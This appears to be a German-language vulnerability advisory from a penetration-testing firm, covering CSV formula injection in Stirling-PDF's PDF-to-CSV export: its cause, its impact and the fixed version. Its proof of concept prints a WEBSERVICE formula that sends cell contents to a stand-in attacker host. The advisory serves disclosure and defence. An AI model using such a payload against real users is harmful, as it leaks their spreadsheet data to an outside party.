Stirling-PDF: PDF-nach-CSV schreibt Tabellenformeln ungefiltert

Der CSV-Schreiber setzt alles in Anfuehrungszeichen, neutralisiert aber die Formelzeichen nicht, mit denen eine Zelle beginnen darf.

Advisory-ID: TP-2026-090
Produkt: Stirling-PDF (Webanwendung zur PDF-Bearbeitung, Java und Spring Boot)
Schwachstellentyp: Formelinjektion in CSV (CWE-1236)
CVE: beantragt (GitHub CNA), Vergabe ausstehend
CVSS 3.1: 5.4 (Mittel) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Betroffene Versionen: < 3.0.0
Hersteller-Advisory: GHSA-pp9g-47g3-f789
Behoben in: 3.0.0
Gemeldet: 30. Mai 2026

Zusammenfassung

Stirling-PDF liest Tabellen aus einer hochgeladenen PDF-Datei und schreibt sie in eine CSV-Datei. Die Zellinhalte stammen unveraendert aus der PDF-Datei und damit vollstaendig vom Einreichenden. Der CSV-Schreiber setzt zwar jedes Feld in Anfuehrungszeichen und maskiert enthaltene Anfuehrungszeichen, was den Ausbruch ueber Trennzeichen und Zeilenumbrueche verhindert. Die Zeichen, mit denen Tabellenprogramme eine Formel erkennen, bleiben davon unberuehrt. Oeffnet das Opfer die erzeugte Datei in Excel oder LibreOffice Calc, entfernt das Programm die CSV-Anfuehrungszeichen, sieht das fuehrende Gleichheitszeichen und wertet die Zelle als Formel aus.

Ursache

Der Schreiber baut sein Format mit CSVFormat.EXCEL.builder().setEscape('"').setQuoteMode(QuoteMode.ALL) und neutralisiert damit Trennzeichen und Zeilenumbrueche, nicht aber die Formelzeichen =, +, - und @ (ExtractCSVController.java:62-63). printer.printRecord(row) schreibt anschliessend jede von Tabula gelesene Zeile woertlich in die Datei (:72-73). Auf dem Weg dorthin bereinigt nur TabulaTableParser.normaliseText den Text, und zwar allein durch das Ersetzen von Zeilenumbruechen und das Abschneiden von Leerraum (TabulaTableParser.java:251-254). Keine Stelle entfernt ein fuehrendes Formelzeichen oder stellt ein Hochkomma voran. Der Endpunkt ist im ausgelieferten Abbild erreichbar, das mit aktivierter Anmeldung ausgeliefert wird, womit jeder angemeldete Nutzer die Umwandlung ausloesen kann.

Proof of Concept

# PDF mit einer Tabelle, deren Zelle so beginnt:
=WEBSERVICE("https://angreifer.example/?d="&A1)

# Opfer: POST /api/v1/convert/pdf/csv mit dieser Datei
# Erzeugte CSV enthaelt das Feld in Anfuehrungszeichen, aber unveraendert:
"=WEBSERVICE(""https://angreifer.example/?d=""&A1)"

# Beim Oeffnen in Excel oder Calc entfaellt die CSV-Quotierung,
# das fuehrende = macht daraus eine Formel, die Zellinhalte abfliessen laesst.

Der XLSX-Ausgabepfad ist nicht betroffen, weil er setCellValue(String) verwendet und damit Zellen vom Typ Text erzeugt, die kein Tabellenprogramm auswertet (ConvertPDFToExcelController.java:92-93).

Auswirkung

  • Abfluss von Zellinhalten der Tabelle des Opfers an eine fremde Adresse, etwa ueber WEBSERVICE oder HYPERLINK.
  • Befehlsausfuehrung auf dem Rechner des Opfers, sofern das Tabellenprogramm die veraltete DDE-Funktion zulaesst.
  • Keine Warnung fuer das Opfer, da die Datei aus dem eigenen, vertrauenswuerdigen Dienst stammt und nicht als fremder Anhang erscheint.
  • Auslieferung genuegt als Angriffsweg, die eigentliche Umwandlung fuehrt das Opfer selbst aus.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.

Pentest anfragen